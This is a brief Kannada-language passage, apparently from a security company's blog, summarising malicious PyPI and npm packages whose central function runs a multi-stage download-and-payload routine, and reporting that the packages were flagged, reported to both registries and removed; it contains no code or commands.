load_libraries(): ಆರಂಭಿಕ ಡೌನ್‌ಲೋಡ್‌ನಿಂದ ಅಂತಿಮ ಪೇಲೋಡ್ ಕಾರ್ಯಗತಗೊಳಿಸುವಿಕೆ ಮತ್ತು ಸ್ವಚ್ಛಗೊಳಿಸುವಿಕೆಯವರೆಗೆ ಸಂಪೂರ್ಣ ಬಹು-ಹಂತದ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಸಂಘಟಿಸುವ ಕೇಂದ್ರ ಕಾರ್ಯ.

ಪರಿಣಾಮ

MEW ಗುರುತಿಸಿದ ಇತರ ಸಂಭಾವ್ಯ ದುರುದ್ದೇಶಪೂರಿತ ಪ್ಯಾಕೇಜ್‌ಗಳಂತೆ, ಅವಲಂಬನೆ ಫೈರ್‌ವಾಲ್ ಈ ದುರುದ್ದೇಶಪೂರಿತ ಪ್ಯಾಕೇಜ್‌ಗಳನ್ನು ತಮ್ಮ ಅವಲಂಬನೆಗಳಲ್ಲಿ ಸೇರಿಸಿಕೊಳ್ಳುವ ಬಳಕೆದಾರರನ್ನು ತಕ್ಷಣವೇ ರಕ್ಷಿಸುತ್ತದೆ. ದೃಢೀಕರಣದ ನಂತರ, ನಾವು ಎರಡೂ ನೋಂದಣಿಗಳಿಗೆ ಅಧಿಸೂಚನೆ ಕಾರ್ಯವಿಧಾನಗಳನ್ನು ಅನುಸರಿಸಿದ್ದೇವೆ, ಅದು ಪರಿಶೀಲನೆಯ ನಂತರ ಎರಡೂ ಪ್ಯಾಕೇಜ್‌ಗಳನ್ನು ತೆಗೆದುಹಾಕಿತು.

2025 ರ ಸಾಫ್ಟ್‌ವೇರ್ ಪೂರೈಕೆ ಸರಪಳಿ ದಾಳಿಗಳ ಸೂಕ್ಷ್ಮ ನೋಟ: PyPI ಮತ್ತು npm ಅಭಿಯಾನಗಳ ಹೋಲಿಕೆ

ಓದಲೇಬೇಕಾದ ಪೋಸ್ಟ್‌ಗಳು

ಕ್ಸಿಜೆನಿಯ MEW: ಹೋಲಿಕೆಗಳನ್ನು ಗುರುತಿಸುವುದು